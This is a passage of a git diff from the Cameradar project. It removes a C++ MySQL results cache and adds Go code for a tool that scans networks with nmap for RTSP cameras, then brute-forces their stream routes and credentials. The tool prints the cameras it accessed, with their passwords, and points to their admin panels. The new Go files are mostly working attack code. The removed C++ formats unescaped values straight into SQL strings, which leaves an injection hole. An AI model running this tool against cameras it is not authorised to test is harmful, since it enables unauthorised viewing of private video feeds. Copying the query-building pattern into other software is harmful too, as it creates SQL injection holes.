a/cache_managers/mysql_cache_manager/src/db_conn.cpp +++ /dev/null @@ -1,138 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include "db_conn.h" // for db_connection -#include "cppconn/connection.h" // for Connection -#include "query_result.h" // for queries -#include // for get_driver_instance, etc -#include // for SQLException -#include // for Statement -#include // for fmt -#include // for LOG_ - -namespace etix { - -namespace cameradar { - -namespace mysql { - -const std::string db_connection::create_database_query = "CREATE DATABASE IF NOT EXISTS %s"; - -db_connection::db_connection() : connected(false) {} - -db_connection::~db_connection() { delete this->connection; } - -std::pair -db_connection::connect(const std::string& host, - const std::string& user, - const std::string& pass, - const std::string& db_name, - bool create_db_if_not_exist) { - this->db_name = db_name; - - try { - this->driver = get_driver_instance(); - if (this->driver == nullptr) { - return std::make_pair(false, "Cannot instantiate sql_driver"); - } - this->connection = driver->connect(host, user, pass); - if (this->connection == nullptr) return std::make_pair(false, "Cannot connect to mysql"); - - this->connected = true; - if (create_db_if_not_exist) { - auto cdb = this->create_database(); - if (cdb.state == mysql::execute_result::sql_error) { return { false, cdb.error_msg }; } - this->connection->setSchema(db_name); - } - } catch (sql::SQLException& e) { - this->connected = false; - return { false, e.what() }; - } - - return std::make_pair(true, ""); -} - -empty_result -db_connection::execute(const std::string& request) { - std::lock_guard lock(this->access_mtx); - - sql::Statement* stmt = nullptr; - empty_result return_value = { execute_result::success, "" }; - - if (!this->is_connected()) { - return { execute_result::sql_error, "Error, not connected to MySQL database" }; - } - - try { - stmt = this->connection->createStatement(); - stmt->execute(request); - if (stmt->getUpdateCount() == 0) { - return_value = { execute_result::no_row_updated, "No row updated" }; - } - } catch (sql::SQLException& e) { return_value = { execute_result::sql_error, e.what() }; } - delete stmt; - - return return_value; -} - -query_result -db_connection::query(const std::string& query) { - std::lock_guard lock(this->access_mtx); - - sql::Statement* stmt = nullptr; - query_result return_value = { nullptr, execute_result::success, "" }; - - if (!this->is_connected()) { - return { nullptr, execute_result::sql_error, "Error, not connected to MySQL database" }; - } - - try { - stmt = this->connection->createStatement(); - return_value = { stmt->executeQuery(query), execute_result::success, "" }; - } catch (sql::SQLException& e) { - return_value = { nullptr, execute_result::sql_error, e.what() }; - } - delete stmt; - - return return_value; -} - -bool -db_connection::is_connected() { - if (this->connection == nullptr) return false; - - // check if our connection is always valid - if (this->connection->isClosed() || not this->connection->isValid()) { - LOG_INFO_("MySQL database connection is either closed or invalid, try to reconnect.", - "db_connection"); - this->connection->reconnect(); - if (this->connection->isClosed() || not this->connection->isValid()) { - this->connected = false; - LOG_ERR_("Unable to reconnect to MySQL.", "db_connection"); - } - } - return this->connected; -} - -empty_result -db_connection::create_database() { - auto query = tool::fmt(this->create_database_query, this->db_name.c_str()); - return this->execute(query); -} - -} // mysql - -} // cameradar - -} // etix diff --git a/cache_managers/mysql_cache_manager/src/mysql_cache_manager.cpp b/cache_managers/mysql_cache_manager/src/mysql_cache_manager.cpp deleted file mode 100644 index 0c3cec6..0000000 --- a/cache_managers/mysql_cache_manager/src/mysql_cache_manager.cpp +++ /dev/null @@ -1,292 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include - -/* DATA FORMAT -** -** Example : -** -** "address" : "173.16.100.45", -** "ids_found" : true, -** "password" : "123456", -** "path_found" : true, -** "port" : 554, -** "product" : "Vivotek FD9381-HTV", -** "protocol" : "tcp", -** "route" : "/live.sdp", -** "service_name" : "rtsp", -** "state" : "open", -** "thumbnail_path" : "/tmp/127.0.0.1/1463735257.jpg", -** "username" : "admin" -** -*/ - -namespace etix { - -namespace cameradar { - -const std::string mysql_cache_manager::create_table_query = - "CREATE TABLE IF NOT EXISTS `cameradar_results` (" - "`id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, " - "`address` tinytext NOT NULL, " - "`password` tinytext NOT NULL, " - "`product` tinytext NOT NULL, " - "`protocol` tinytext NOT NULL, " - "`route` tinytext NOT NULL, " - "`service_name` tinytext NOT NULL, " - "`state` tinytext NOT NULL, " - "`thumbnail_path` tinytext NOT NULL, " - "`username` tinytext NOT NULL, " - "`port` int(11) UNSIGNED NOT NULL, " - "`ids_found` tinytext NOT NULL, " - "`path_found` tinytext NOT NULL, " - "PRIMARY KEY (`id`));"; - -const std::string mysql_cache_manager::insert_with_id_query = - "INSERT INTO `%s`.`cameradar_results`" - " (`address`, `password`, `product`, `protocol`, `route`, `service_name`, `state`, " - "`thumbnail_path`, `username`, `port`, `ids_found`, `path_found`)" - " VALUES ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')"; - -const std::string mysql_cache_manager::update_result_query = - "UPDATE `%s`.`cameradar_results` SET" - " `cameradar_results`.`address` = '%s'," - " `cameradar_results`.`password` = '%s'," - " `cameradar_results`.`product` = '%s'," - " `cameradar_results`.`protocol` = '%s'," - " `cameradar_results`.`route` = '%s'," - " `cameradar_results`.`service_name` = '%s'," - " `cameradar_results`.`state` = '%s'," - " `cameradar_results`.`thumbnail_path` = '%s'," - " `cameradar_results`.`username` = '%s'," - " `cameradar_results`.`port` = '%s'," - " `cameradar_results`.`ids_found` = '%s'," - " `cameradar_results`.`path_found` = '%s'" - " WHERE `cameradar_results`.`address` LIKE '%s'"; - -const std::string mysql_cache_manager::exist_query = - "SELECT * FROM `%s`.`cameradar_results` WHERE `cameradar_results`.`address` = '%s'"; - -const std::string mysql_cache_manager::get_results_query = "SELECT * FROM `%s`.`cameradar_results`"; - -const std::string mysql_cache_manager::name = "mysql-cache-manager"; - -mysql_cache_manager::~mysql_cache_manager() {} - -const std::string& -mysql_cache_manager::get_name() const { - return mysql_cache_manager::static_get_name(); -} - -const std::string& -mysql_cache_manager::static_get_name() { - return mysql_cache_manager::name; -} - -bool -mysql_cache_manager::configure(std::shared_ptr configuration) { - return this->load_mysql_conf(configuration); -} - -bool -mysql_cache_manager::execute_query(const std::string& query) { - auto check_err = [](const auto& res) { - if (res.state == mysql::execute_result::sql_error) { - LOG_WARN_(res.error_msg, "mysql_cache_manager"); - return false; - } - return true; - }; - return check_err(this->connection.execute(query)); -} - -bool -mysql_cache_manager::load_mysql_conf( - std::shared_ptr configuration) { - this->configuration = configuration; - - try { - this->db_conf.host = configuration->raw_conf["mysql_db"]["host"].asString(); - this->db_conf.port = configuration->raw_conf["mysql_db"]["port"].asUInt(); - this->db_conf.user = configuration->raw_conf["mysql_db"]["user"].asString(); - this->db_conf.password = configuration->raw_conf["mysql_db"]["password"].asString(); - this->db_conf.db_name = configuration->raw_conf["mysql_db"]["db_name"].asString(); - } catch (const std::exception& e) { - LOG_ERR_("Configuration of the MySQL db failed : " + std::string(e.what()), - "mysql_cache_manager"); - return false; - } - - if (not this->connection - .connect(db_conf.host + ":" + std::to_string(db_conf.port), - db_conf.user, - db_conf.password, - db_conf.db_name) - .first) { - LOG_ERR_("Configuration of the MySQL DB failed", "mysql_cache_manager"); - return false; - } - - // Tries to create the Result table in the DB and returns the success state - return (execute_query(create_table_query)); -} - -//! Replaces all cached streams by the content of the vector given as -//! parameter -void -mysql_cache_manager::set_streams(std::vector models) { - LOG_DEBUG_("Beginning stream list DB insertion", "mysql_cache_manager"); - std::lock_guard lock(m); - for (const auto& model : models) { - if (!model.service_name.compare("rtsp") && !model.state.compare("open")) { - auto query = tool::fmt( - this->exist_query, this->connection.get_db_name().c_str(), model.address.c_str()); - auto result = this->connection.query(query); - - if (result.data->next()) continue; - - query = tool::fmt(this->insert_with_id_query, - this->connection.get_db_name().c_str(), - model.address.c_str(), - model.password.c_str(), - model.product.c_str(), - model.protocol.c_str(), - model.route.c_str(), - model.service_name.c_str(), - model.state.c_str(), - model.thumbnail_path.c_str(), - model.username.c_str(), - std::to_string(model.port).c_str(), - std::to_string(model.ids_found).c_str(), - std::to_string(model.path_found).c_str()); - execute_query(query); - } - } -} - -//! Inserts a single stream to the cache -void -mysql_cache_manager::update_stream(const etix::cameradar::stream_model& model) { - auto query = tool::fmt(this->update_result_query, - this->connection.get_db_name().c_str(), - model.address.c_str(), - model.password.c_str(), - model.product.c_str(), - model.protocol.c_str(), - model.route.c_str(), - model.service_name.c_str(), - model.state.c_str(), - model.thumbnail_path.c_str(), - model.username.c_str(), - std::to_string(model.port).c_str(), - std::to_string(model.ids_found).c_str(), - std::to_string(model.path_found).c_str(), - model.address.c_str()); - std::lock_guard lock(m); - execute_query(query); -} - -//! Gets all cached streams -std::vector -mysql_cache_manager::get_streams() { - auto query = tool::fmt(this->get_results_query, this->connection.get_db_name().c_str()); - auto result = this->connection.query(query); - - if (not result.data) { - delete result.data; - return {}; - } - - std::vector lst; - while (result.data->next()) { - // If it's an open RTSP stream - if (not result.data->getString("state").compare("open") && - not result.data->getString("service_name").compare("rtsp")) { - stream_model s{ - result.data->getString("address"), result.data->getUInt("port"), - result.data->getString("username"), result.data->getString("password"), - result.data->getString("route"), result.data->getString("service_name"), - result.data->getString("product"), result.data->getString("protocol"), - result.data->getString("state"), result.data->getBoolean("path_found"), - result.data->getBoolean("ids_found"), result.data->getString("thumbnail_path") - }; - lst.push_back(s); - } - } - - delete result.data; - return lst; -} - -//! Gets all valid streams -std::vector -mysql_cache_manager::get_valid_streams() { - auto query = tool::fmt(this->get_results_query, this->connection.get_db_name().c_str()); - auto result = this->connection.query(query); - - if (not result.data) { - delete result.data; - return {}; - } - - std::vector lst; - while (result.data->next()) { - // If the ID and the Path were found add this stream - if (not result.data->getString("ids_found").compare("1") && - not result.data->getString("path_found").compare("1")) { - stream_model s{ - result.data->getString("address"), result.data->getUInt("port"), - result.data->getString("username"), result.data->getString("password"), - result.data->getString("route"), result.data->getString("service_name"), - result.data->getString("product"), result.data->getString("protocol"), - result.data->getString("state"), result.data->getBoolean("path_found"), - result.data->getBoolean("ids_found"), result.data->getString("thumbnail_path") - }; - lst.push_back(s); - } - } - - delete result.data; - return lst; -} - -// Returns true if the stream passed as a parameter has changed in the cache -bool -mysql_cache_manager::has_changed(const etix::cameradar::stream_model& old) { - auto query = tool::fmt(this->get_results_query, this->connection.get_db_name().c_str()); - auto result = this->connection.query(query); - - if (not result.data) { - delete result.data; - return {}; - } - - while (result.data->next()) { - if (result.data->getString("address") == old.address) - if (result.data->getBoolean("ids_found") != old.ids_found || - result.data->getBoolean("path_found") != old.path_found) - return true; - } - return false; -} - -extern "C" { -cache_manager_iface* -cache_manager_instance_new() { - return new mysql_cache_manager(); -} -} -} -} diff --git a/cameraccess/main.go b/cameraccess/main.go new file mode 100644 index 0000000..3362ce0 --- /dev/null +++ b/cameraccess/main.go @@ -0,0 +1,106 @@ +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package main + +import ( + "fmt" + "os" + "time" + + "github.com/EtixLabs/cameradar/cameradar" + "github.com/fatih/color" + "github.com/jessevdk/go-flags" +) + +type options struct { + Target string `short:"t" long:"target" description:"The target on which to scan for open RTSP streams - required" required:"true"` + Ports string `short:"p" long:"ports" description:"The ports on which to search for RTSP streams" default:"554,8554"` + OutputFile string `short:"o" long:"nmap-output" description:"The path where nmap will create its XML result file" default:"/tmp/cameradar_scan.xml"` + Routes string `short:"r" long:"custom-routes" description:"The path on which to load a custom routes dictionary" default:"./dictionaries/routes"` + Credentials string `short:"c" long:"custom-credentials" description:"The path on which to load a custom credentials JSON dictionary" default:"./dictionaries/credentials.json"` + Speed int `short:"s" long:"speed" description:"The nmap speed preset to use" default:"4"` + Timeout int `short:"T" long:"timeout" description:"The timeout in miliseconds to use for attack attempts" default:"1000"` + EnableLogs bool `short:"l" long:"log" description:"Enable the logs for nmap's output to stdout"` +} + +func main() { + var options options + _, err := flags.ParseArgs(&options, os.Args[1:]) + if err != nil { + os.Exit(0) + } + + credentials, err := cmrdr.LoadCredentials(options.Credentials) + if err != nil { + color.Red("Invalid credentials dictionary: %s", err.Error()) + return + } + + routes, err := cmrdr.LoadRoutes(options.Routes) + if err != nil { + color.Red("Invalid routes dictionary: %s", err.Error()) + return + } + + streams, _ := cmrdr.Discover(options.Target, options.Ports, options.OutputFile, options.Speed, options.EnableLogs) + streams, _ = cmrdr.AttackRoute(streams, routes, time.Duration(options.Timeout)*time.Millisecond, options.EnableLogs) + streams, _ = cmrdr.AttackCredentials(streams, credentials, time.Duration(options.Timeout)*time.Millisecond, options.EnableLogs) + + prettyPrint(streams) +} + +func prettyPrint(streams []cmrdr.Stream) { + yellow := color.New(color.FgYellow, color.Bold, color.Underline).SprintFunc() + blue := color.New(color.FgBlue, color.Underline).SprintFunc() + green := color.New(color.FgGreen, color.Bold).SprintFunc() + red := color.New(color.FgRed, color.Bold).SprintFunc() + white := color.New(color.Italic).SprintFunc() + + success := 0 + + if len(streams) > 0 { + for _, stream := range streams { + if stream.CredentialsFound && stream.RouteFound { + fmt.Printf("%s\tDevice RTSP URL:\t%s\n", green("\xE2\x96\xB6"), blue(cmrdr.RTSPURL(stream))) + success++ + } else { + fmt.Printf("%s\tAdmin panel URL:\t%s %s\n", red("\xE2\x96\xB6"), yellow(cmrdr.AdminPanelURL(stream)), white("You can use this URL to try attacking the camera's admin panel instead.")) + } + + fmt.Printf("\tDevice model:\t\t%s\n\n", stream.Device) + fmt.Printf("\tIP address:\t\t%s\n", stream.Address) + fmt.Printf("\tRTSP port:\t\t%d\n", stream.Port) + if stream.CredentialsFound { + fmt.Printf("\tUsername:\t\t%s\n", green(stream.Username)) + fmt.Printf("\tPassword:\t\t%s\n", green(stream.Password)) + } else { + fmt.Printf("\tUsername:\t\t%s\n", red("not found")) + fmt.Printf("\tPassword:\t\t%s\n", red("not found")) + } + if stream.RouteFound { + fmt.Printf("\tRTSP route:\t\t%s\n\n\n", green("/"+stream.Route)) + } else { + fmt.Printf("\tRTSP route:\t\t%s\n\n\n", red("not found")) + } + } + if success > 1 { + fmt.Printf("%s Successful attack: %s devices were accessed", green("\xE2\x9C\x94"), green(len(streams))) + } else if success == 1 { + fmt.Printf("%s Successful attack: %s device was accessed", green("\xE2\x9C\x94"), green(len(streams))) + } else { + fmt.Printf("%s Streams were found but none were accessed. They are most likely configured with secure credentials and routes. You can try adding entries to the dictionary or generating your own in order to attempt a bruteforce attack on the cameras.", red("\xE2\x9C\x96")) + } + } else { + fmt.Printf("%s No streams were found. Please make sure that your target is on an accessible network.", red("\xE2\x9C\x96")) + } +} diff --git a/cameradar/attack.go b/cameradar/attack.go new file mode 100644 index 0000000..4934e9d --- /dev/null +++ b/cameradar/attack.go @@ -0,0 +1,232 @@ +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package cmrdr + +import ( + "fmt" + "time" + + curl "github.com/andelf/go-curl" + "github.com/pkg/errors" + v "gopkg.in/go-playground/validator.v9" +) + +// HACK: See https://stackoverflow.com/questions/3572397/lib-curl-in-c-disable-printing +func doNotWrite([]uint8, interface{}) bool { + return true +} + +func routeAttack(camera Stream, route string, timeout time.Duration, enableLogs bool) bool { + easy := curl.EasyInit() + defer easy.Cleanup() + + if easy != nil { + attackURL := fmt.Sprintf( + "rtsp://%s:%s@%s:%d/%s", + camera.Username, + camera.Password, + camera.Address, + camera.Port, + route, + ) + + if enableLogs { + // Debug logs when logs are enabled + easy.Setopt(curl.OPT_VERBOSE, 1) + } else { + // Do not write sdp in stdout + easy.Setopt(curl.OPT_WRITEFUNCTION, doNotWrite) + } + + // Do not send a body in the describe request + easy.Setopt(curl.OPT_NOBODY, 1) + // Send a request to the URL of the camera we want to attack + easy.Setopt(curl.OPT_URL, attackURL) + // Set the RTSP STREAM URI as the camera URL + easy.Setopt(curl.OPT_RTSP_STREAM_URI, attackURL) + // 2 is CURL_RTSPREQ_DESCRIBE + easy.Setopt(curl.OPT_RTSP_REQUEST, 2) + // Set custom timeout + easy.Setopt(curl.OPT_TIMEOUT_MS, int(timeout/time.Millisecond)) + + // Perform the request + easy.Perform() + + // Get return code for the request + rc, err := easy.Getinfo(curl.INFO_RESPONSE_CODE) + if err != nil { + return false + } + + // If it's a 404, it means that the route was not valid + if rc == 404 { + return false + } + + return true + } + return false +} + +func credAttack(camera Stream, username string, password string, timeout time.Duration, enableLogs bool) bool { + easy := curl.EasyInit() + defer easy.Cleanup() + + if easy != nil { + attackURL := fmt.Sprintf( + "rtsp://%s:%s@%s:%d/%s", + username, + password, + camera.Address, + camera.Port, + camera.Route, + ) + + if enableLogs { + // Debug logs when logs are enabled + easy.Setopt(curl.OPT_VERBOSE, 1) + } else { + // Do not write sdp in stdout + easy.Setopt(curl.OPT_WRITEFUNCTION, doNotWrite) + } + + // Do not send a body in the describe request + easy.Setopt(curl.OPT_NOBODY, 1) + // Send a request to the URL of the camera we want to attack + easy.Setopt(curl.OPT_URL, attackURL) + // Set the RTSP STREAM URI as the camera URL + easy.Setopt(curl.OPT_RTSP_STREAM_URI, attackURL) + // 2 is CURL_RTSPREQ_DESCRIBE + easy.Setopt(curl.OPT_RTSP_REQUEST, 2) + // Set custom timeout + easy.Setopt(curl.OPT_TIMEOUT_MS, int(timeout/time.Millisecond)) + + // Perform the request + easy.Perform() + + // Get return code for the request + rc, err := easy.Getinfo(curl.INFO_RESPONSE_CODE) + if err != nil { + return false + } + + // If it's a 403 or a 401, it means that the credentials are not correct + if rc == 403 || rc == 401 { + return false + } + + return true + } + return false +} + +func attackCameraCredentials(target Stream, credentials Credentials, resultsChan chan<- Stream, timeout time.Duration, log bool) { + for _, username := range credentials.Usernames { + for _, password := range credentials.Passwords { + ok := credAttack(target, username, password, timeout, log) + if ok { + target.CredentialsFound = true + target.Username = username + target.Password = password + resultsChan <- target + return + } + } + } + target.CredentialsFound = false + resultsChan <- target +} + +func attackCameraRoute(target Stream, routes Routes, resultsChan chan<- Stream, timeout time.Duration, log bool) { + for _, route := range routes { + ok := routeAttack(target, route, timeout, log) + if ok { + target.RouteFound = true + target.Route = route + resultsChan <- target + return + } + } + target.RouteFound = false + resultsChan <- target +} + +// AttackCredentials attempts to guess the provided targets' credentials using the given +// dictionary or the default dictionary if none was provided by the user +func AttackCredentials(targets []Stream, credentials Credentials, timeout time.Duration, log bool) (results []Stream, err error) { + attacks := make(chan Stream) + defer close(attacks) + + validate := v.New() + for _, target := range targets { + err := validate.Struct(target) + if err != nil { + return targets, errors.Wrap(err, "invalid streams") + } + + go attackCameraCredentials(target, credentials, attacks, timeout, log) + } + + attackResults := []Stream{} + for _ = range targets { + attackResults = append(attackResults, <-attacks) + } + + found := 0 + for _, result := range attackResults { + if result.CredentialsFound == true { + targets = replace(targets, result) + found++ + } + } + if found == 0 { + return targets, errors.New("No credentials found") + } + + return targets, nil +} + +// AttackRoute attempts to guess the provided targets' streaming routes using the given +// dictionary or the default dictionary if none was provided by the user +func AttackRoute(targets []Stream, routes Routes, timeout time.Duration, log bool) (results []Stream, err error) { + attacks := make(chan Stream) + defer close(attacks) + + validate := v.New() + for _, target := range targets { + err := validate.Struct(target) + if err != nil { + return targets, errors.Wrap(err, "invalid streams") + } + + go attackCameraRoute(target, routes, attacks, timeout, log) + } + + attackResults := []Stream{} + for _ = range targets { + attackResults = append(attackResults, <-attacks) + } + + found := 0 + for _, result := range attackResults { + if result.RouteFound == true { + targets = replace(targets, result) + found++ + } + } + if found == 0 { + return targets, errors.New("No routes found") + } + + return targets, nil +} diff --git a/cameradar/discover.go b/cameradar/discover.go new file mode 100644 index 0000000..6f28ed5 --- /dev/null +++ b/cameradar/discover.go @@ -0,0 +1,152 @@ +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package cmrdr + +import ( + "bufio" + "encoding/xml" + "fmt" + "io/ioutil" + "log" + "os/exec" + + "github.com/pkg/errors" + v "gopkg.in/go-playground/validator.v9" +) + +// These constants detail the different level of nmap speed presets +// that determine the timeout values and wether or not nmap makes use of parallelism +const ( + // PARANOID NO PARALLELISM | 5min timeout | 100ms to 10s round-trip time timeout | 5mn scan delay + PARANOIAC = 0 + // SNEAKY NO PARALLELISM | 15sec timeout | 100ms to 10s round-trip time timeout | 15s scan delay + SNEAKY = 1 + // POLITE NO PARALLELISM | 1sec timeout | 100ms to 10s round-trip time timeout | 400ms scan delay + POLITE = 2 + // NORMAL PARALLELISM | 1sec timeout | 100ms to 10s round-trip time timeout | 0s scan delay + NORMAL = 3 + // AGGRESSIVE PARALLELISM | 500ms timeout | 100ms to 1250ms round-trip time timeout | 0s scan delay + AGGRESSIVE = 4 + // INSANE PARALLELISM | 250ms timeout | 50ms to 300ms round-trip time timeout | 0s scan delay + INSANE = 5 +) + +// RunNmap runs nmap on the specified targets's specified ports, using the given nmap speed +func RunNmap(targets, ports string, resultFilePath string, nmapSpeed int, enableLogs bool) error { + // Prepare nmap command + cmd := exec.Command( + "nmap", + fmt.Sprintf("-T%d", nmapSpeed), + "-A", + targets, + "-p", + ports, + "-oX", + resultFilePath, + ) + + // Pipe stdout to be able to write the logs in realtime + stdout, err := cmd.StdoutPipe() + if err != nil { + return errors.Wrap(err, "Couldn't get stdout pipe") + } + + // Execute the nmap command + if err := cmd.Start(); err != nil { + return errors.Wrap(err, "Coudln't run nmap command") + } + + // Scan the pipe until an end of file or an error occurs + in := bufio.NewScanner(stdout) + for in.Scan() { + if enableLogs { + log.Printf(in.Text()) + } + } + if err := in.Err(); err != nil { + if enableLogs { + log.Printf("error: %s", err) + } + } + + return nil +} + +// ParseNmapResult returns a slice of streams from an NMap XML result file +// To generate one yourself, use the -X option when running NMap +func ParseNmapResult(nmapResultFilePath string) ([]Stream, error) { + var streams []Stream + + // Open & Read XML file + content, err := ioutil.ReadFile(nmapResultFilePath) + if err != nil { + return streams, errors.Wrap(err, "Could not read nmap result file at "+nmapResultFilePath+":") + } + + // Unmarshal content of XML file into data structure + result := &NmapResult{} + err = xml.Unmarshal(content, &result) + if err != nil { + return streams, err + } + + // Iterate on hosts to try to find hosts with ports that + // - serve RTSP + // - are open + validate := v.New() + for _, host := range result.Hosts { + if host.Ports.Ports == nil { + continue + } + for _, port := range host.Ports.Ports { + err = validate.Struct(port) + if err != nil { + continue + } + streams = append(streams, Stream{ + Device: port.Service.Product, + Address: host.Address.Addr, + Port: port.PortID, + }) + } + } + + return streams, nil +} + +// Discover scans the target networks and tries to find RTSP streams within them +// targets - string: The addresses +// - a subnet (e.g.: 172.16.100.0/24) +// - an IP (e.g.: 172.16.100.10) +// - a hostname (e.g.: localhost) +// - a range of IPs (e.g.: 172.16.100.10-172.16.100.20) +// - a mix of all those separated by commas (e.g.: localhost,172.17.100.0/24,172.16.100.10-172.16.100.20,0.0.0.0). +// ports - string : +// - one or multiple ports and port ranges separated by commas (e.g.: 554,8554-8560,18554-28554) +func Discover(targets string, ports string, nmapResultPath string, speed int, log bool) ([]Stream, error) { + var streams []Stream + + // Run nmap command to discover open ports on the specified targets & ports + err := RunNmap(targets, ports, nmapResultPath, speed, log) + if err != nil { + return streams, err + } + + // Get found streams from nmap results + streams, err = ParseNmapResult(nmapResultPath) + if err != nil { + return streams, err + } + + return streams, nil +} diff --git a/cameradar/helpers.go b/cameradar/helpers.go new file mode 100644 index 0000000..1af81c0 --- /dev/null +++ b/cameradar/helpers.go @@ -0,0 +1,38 @@ +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package cmrdr + +import "fmt" + +func replace(streams []Stream, new Stream) []Stream { + updatedSlice := streams[:0] + + for _, old := range streams { + if old.Address == new.Address && old.Port == new.Port { + updatedSlice = append(updatedSlice, new) + } else { + updatedSlice = append(updatedSlice, old) + } + } + return updatedSlice +} + +// RTSPURL generates a stream's RTSP URL +func RTSPURL(stream Stream) string { + return "rtsp://" + stream.Username + ":" + stream.Password + "@" + stream.Address + ":" + fmt.Sprint(stream.Port) + "/" + stream.Route +} + +// AdminPanelURL returns the URL to the camera's admin panel +func AdminPanelURL(stream Stream) string { + return "http://" + stream.Address + "/" +} diff --git a/cameradar/loaders.go b/cameradar/loaders.go new file mode 100644 index 0000000..5b88101 --- /dev/null +++ b/cameradar/loaders.go @@ -0,0 +1,58 @@ +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package cmrdr + +import ( + "bufio" + "encoding/json" + "io/ioutil" + "os" + + "github.com/pkg/errors" +) + +// LoadCredentials opens a dictionary file and returns its contents as a Credentials structure +func LoadCredentials(path string) (Credentials, error) { + var creds Credentials + + // Open & Read XML file + content, err := ioutil.ReadFile(path) + if err != nil { + return creds, errors.Wrap(err, "Could not read credentials dictionary file at "+path+":") + } + + // Unmarshal content of JSON file into data structure + err = json.Unmarshal(content, &creds) + if err != nil { + return creds, err + } + + return creds, nil +} + +// LoadRoutes opens a dictionary file and returns its contents as a Routes structure +func LoadRoutes(path string) (Routes, error) { + file, err := os.Open(path) + if err != nil { + return nil, err + } + defer file.Close() + + var routes Routes + scanner := bufio.NewScanner(file) + for scanner.Scan() { + routes = append(routes, scanner.Text()) + } + + return routes, scanner.Err() +} diff --git a/cameradar/models.go b/cameradar/models.go new file mode 100644 index 0000000..4c9654f --- /dev/null +++ b/cameradar/models.go @@ -0,0 +1,38 @@ +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package cmrdr + +// Stream represents a camera's RTSP stream +type Stream struct { + Device string + Username string + Password string + Route string + Address string `validate:"required"` + Port uint `validate:"required"` + + CredentialsFound bool + RouteFound bool +} + +// Credentials is a map of credentials +// usernames are keys and passwords are values +// creds['admin'] -> 'secure_password' +type Credentials struct { + Usernames []string `json:"usernames"` + Passwords []string `json:"passwords"` +} + +// Routes is a slice of Routes +// ['/live.sdp', '/media.amp', ...] +type Routes []string diff --git a/cameradar/xml_models.go b/cameradar/xml_models.go new file mode 100644 index 0000000..d3d25a5 --- /dev/null +++ b/cameradar/xml_models.go @@ -0,0 +1,62 @@ +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package cmrdr + +import "encoding/xml" + +// NmapResult is the structure that holds all the information from an NMap scan +type NmapResult struct { + XMLName xml.Name `xml:"nmaprun"` + Hosts []Host `xml:"host" validate:"required"` +} + +// Host represents a host discovered during a scan +type Host struct { + XMLName xml.Name `xml:"host"` + Address Address `xml:"address"` + Ports Ports `xml:"ports"` +} + +// Address is a host's address discovered during a scan +type Address struct { + XMLName xml.Name `xml:"address"` + Addr string `xml:"addr,attr"` + AddrType string `xml:"addrType,attr"` +} + +// Ports is the list of openned ports on a host +type Ports struct { + XMLName xml.Name `xml:"ports"` + Ports []Port `xml:"port"` +} + +// Port is a port found on a host during a scan +type Port struct { + XMLName xml.Name `xml:"port"` + PortID uint `xml:"portid,attr"` + State State `xml:"state"` + Service Service `xml:"service"` +} + +// State is the state of a port +type State struct { + XMLName xml.Name `xml:"state"` + State string `xml:"state,attr" validate:"required,eq=open"` +} + +// Service represents the service that a port provides +type Service struct { + XMLName xml.Name `xml:"service"` + Name string `xml:"name,attr" 